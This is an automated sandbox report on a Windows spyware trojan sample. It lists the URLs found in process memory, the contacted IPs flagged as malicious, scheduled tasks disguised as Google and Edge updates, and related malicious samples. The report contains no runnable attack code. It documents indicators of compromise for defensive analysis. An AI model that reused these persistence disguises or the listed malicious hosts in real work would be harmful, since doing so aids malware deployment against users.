http://schemas.xmlsoap.org/ws/2005/02/sc/sct	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/api/proxy/nodes/getv	GoogleUpdate.exe, 00000026.00000003.526109262.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.510283805.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.507924287.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000002.606806174.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.564446609.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.560815251.00000000010A3000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	vbc.exe, 00000002.00000002.453352763.0000000006E7F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.448380047.0000000006D66000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.450875327.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	vbc.exe, 00000002.00000002.453352763.0000000006E7F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.448380047.0000000006D66000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.450875327.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/J	GoogleUpdate.exe, 00000026.00000003.486903854.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.482956744.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.484761889.00000000010A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id19Responseon	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: phishing	unknown
http://tempuri.org/Entity/Id12Response	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441819092.0000000006C6E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.peer2profit.com/api/proxy/nodes/getPy	GoogleUpdate.exe, 00000026.00000002.605569627.0000000001087000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441819092.0000000006C6E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/8	GoogleUpdate.exe, 00000026.00000003.513076345.00000000010A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/d	GoogleUpdate.exe, 00000026.00000002.604246050.0000000001062000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.480672381.000000000106E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/r2profit.com/	GoogleUpdate.exe, 00000026.00000003.526109262.00000000010A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.peer2profit.com/N	GoogleUpdate.exe, 00000026.00000002.606806174.00000000010A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000039.00000002.553791025.000002974D971000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	FKN6uh7y01.exe, FKN6uh7y01.exe, 00000000.00000000.316020105.0000000000428000.00000004.00000001.01000000.00000003.sdmp, vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.idpminic.org4	vbc.exe, 00000002.00000002.445409967.0000000006CB3000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.446472172.0000000006CDA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	vbc.exe, 00000002.00000002.453352763.0000000006E7F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.448380047.0000000006D66000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.450875327.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.447698800.0000000006D16000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	vbc.exe, 00000002.00000002.453352763.0000000006E7F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.448380047.0000000006D66000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.450875327.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/%	GoogleUpdate.exe, 00000026.00000002.604246050.0000000001062000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.480672381.000000000106E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id5Response	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10Response	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441819092.0000000006C6E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.idpminic.org	vbc.exe, 00000002.00000002.445409967.0000000006CB3000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.446993118.0000000006CF0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.446472172.0000000006CDA000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.445869769.0000000006CC2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.peer2profit.com/api/proxy/nodes/getTx:	GoogleUpdate.exe, 00000026.00000002.605569627.0000000001087000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/api/proxy/nodes/get=xc	GoogleUpdate.exe, 00000026.00000002.605569627.0000000001087000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13Response	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441819092.0000000006C6E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id4y/	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: phishing	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	vbc.exe, 00000002.00000002.453352763.0000000006E7F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.448380047.0000000006D66000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.450875327.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2002/12/policy	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id22Response	vbc.exe, 00000002.00000002.441819092.0000000006C6E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	vbc.exe, 00000002.00000002.453352763.0000000006E7F000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.448380047.0000000006D66000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.450875327.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id18Response	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id3Response	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/	GoogleUpdate.exe, 00000026.00000003.490996888.00000000010A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/actor/next	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.peer2profit.com/hy	GoogleUpdate.exe, 00000026.00000003.493484242.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.554379808.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000002.606806174.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.564446609.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.515293800.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.560815251.00000000010A3000.00000004.00000020.00020000.00000000.sdmp, GoogleUpdate.exe, 00000026.00000003.490996888.00000000010A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id9	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id8	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5	vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.66.40.196	api.peer2profit.com	United States	13335	CLOUDFLARENETUS	true
37.220.87.2	unknown	Russian Federation	41070	ARTEM-CATV-ASRU	true
51.195.77.210	unknown	France	16276	OVHFR	false
66.235.200.147	idpminic.org	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	753226
Start date and time:	2022-11-24 13:26:11 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	FKN6uh7y01.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	70
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@98/37@5/5
EGA Information:	Successful, ratio: 66.7%
HDC Information:	Successful, ratio: 58.7% (good quality ratio 52.6%) Quality average: 73.9% Quality standard deviation: 32.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 159 Number of non-executed functions: 113
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WerFault.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.20
Excluded domains from analysis (whitelisted): login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, watson.telemetry.microsoft.com
Execution Graph export aborted for target vbc.exe, PID 46372 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:27:26	API Interceptor	1x Sleep call for process: WerFault.exe modified
13:27:44	API Interceptor	95x Sleep call for process: vbc.exe modified
13:27:52	API Interceptor	1x Sleep call for process: brave.exe modified
13:27:54	Task Scheduler	Run new task: MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca} path: C:\Users\user\AppData\Local\Google\ofg.exe
13:27:55	API Interceptor	200x Sleep call for process: powershell.exe modified
13:28:02	API Interceptor	3x Sleep call for process: chrome.exe modified
13:28:04	Task Scheduler	Run new task: GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe} path: C:\Users\user\AppData\Local\Google\chrome.exe
13:28:15	Task Scheduler	Run new task: GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5} path: C:\Users\user\AppData\Local\Google\chrome.exe
13:28:22	API Interceptor	557x Sleep call for process: GoogleUpdate.exe modified
13:28:59	Task Scheduler	Run new task: GoogleUpdateTaskMachineQC path: C:\Program Files\Google\Chrome\updater.exe
13:29:07	API Interceptor	1x Sleep call for process: updater.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
172.66.40.196	SecuriteInfo.com.Trojan.Siggen18.63785.2847.13207.exe	Get hash	malicious	Browse
	Mvt8bzQ4Je.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	fbRudpXdRE.exe	Get hash	malicious	Browse
	LTxl97QUra.exe	Get hash	malicious	Browse
	EAD73Pz4eg.exe	Get hash	malicious	Browse
	seH4VXPMOf.exe	Get hash	malicious	Browse
	v5Glq26Uby.exe	Get hash	malicious	Browse
	823D20BC56D35800CEB4BADAE0103CFAA2F0B1F584967.exe	Get hash	malicious	Browse
	49DEB035D46391E414506E10E5D394A9C371E61299FB5.exe	Get hash	malicious	Browse
	3332881FE8AD9DC1F302D49CABAE092CA7DA5341FCE0F.exe	Get hash	malicious	Browse
	1D1BCE6C4A6CDB2B2DB0AA80629110DB005A108D02127.exe	Get hash	malicious	Browse
	FE6AC02E4C9283F8E678E7F0409F49C03234E9A4D72C5.exe	Get hash	malicious	Browse
	D51B59D11C7CE7A34F7568B108F253A337C19B2CBFA87.exe	Get hash	malicious	Browse
	C037A2D164F8327B4236D4A4A22FBD3B676C4B94A2245.exe	Get hash	malicious	Browse
	02C1C4241E1211580F078778611AE7C11D6F7A5BDEF75.exe	Get hash	malicious	Browse
	DDC401C77FCD4153860CC36056D6C4FC725910E38C09E.exe	Get hash	malicious	Browse
37.220.87.2	6iWK0k820U.exe	Get hash	malicious	Browse
	31YlpPCH2r.exe	Get hash	malicious	Browse
	n9dwQRaxey.exe	Get hash	malicious	Browse
	n9dwQRaxey.exe	Get hash	malicious	Browse
	1DE3MSKi5Z.exe	Get hash	malicious	Browse
	d0z3mI7RaS.exe	Get hash	malicious	Browse
	jgqsalU1fA.exe	Get hash	malicious	Browse
	YJDjS8ZBOG.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
api.peer2profit.com	6iWK0k820U.exe	Get hash	malicious	Browse	172.66.43.60
	SecuriteInfo.com.Trojan.Siggen18.63785.2847.13207.exe	Get hash	malicious	Browse	172.66.40.196
	RTKnv6MTnw.exe	Get hash	malicious	Browse	172.66.43.60
	Mvt8bzQ4Je.exe	Get hash	malicious	Browse	172.66.40.196
	E3BaMFIxln.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.40.196
	file.exe	Get hash	malicious	Browse	172.66.40.196
	file.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.40.196
	file.exe	Get hash	malicious	Browse	172.66.40.196
	fbRudpXdRE.exe	Get hash	malicious	Browse	172.66.40.196
	Et5O2B7DgL.exe	Get hash	malicious	Browse	172.66.43.60
	EK2JI99VDm.exe	Get hash	malicious	Browse	172.66.43.60
	EK2JI99VDm.exe	Get hash	malicious	Browse	172.66.40.196
	LTxl97QUra.exe	Get hash	malicious	Browse	172.66.40.196
	xchUUtf3km.exe	Get hash	malicious	Browse	172.66.43.60
	EAD73Pz4eg.exe	Get hash	malicious	Browse	172.66.40.196
	seH4VXPMOf.exe	Get hash	malicious	Browse	172.66.40.196
	a7sbIsZgQU.exe	Get hash	malicious	Browse	172.66.43.60

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ARTEM-CATV-ASRU	6iWK0k820U.exe	Get hash	malicious	Browse	37.220.87.2
	31YlpPCH2r.exe	Get hash	malicious	Browse	37.220.87.2
	n9dwQRaxey.exe	Get hash	malicious	Browse	37.220.87.2
	n9dwQRaxey.exe	Get hash	malicious	Browse	37.220.87.2
	1DE3MSKi5Z.exe	Get hash	malicious	Browse	37.220.87.2
	d0z3mI7RaS.exe	Get hash	malicious	Browse	37.220.87.2
	jgqsalU1fA.exe	Get hash	malicious	Browse	37.220.87.2
	YJDjS8ZBOG.exe	Get hash	malicious	Browse	37.220.87.2
	home.mips-20220726-0916	Get hash	malicious	Browse	94.198.223.29
	mirai.m68k	Get hash	malicious	Browse	81.200.156.4
	Xyu2DPv1gU	Get hash	malicious	Browse	81.200.156.2
	db0fa4b8db0333367e9bda3ab68b8042.x86	Get hash	malicious	Browse	94.198.223.26
CLOUDFLARENETUS	https://app.pipefy.com/public/form/rRoom7uK	Get hash	malicious	Browse	104.17.236.70
	file.exe	Get hash	malicious	Browse	162.159.133.233
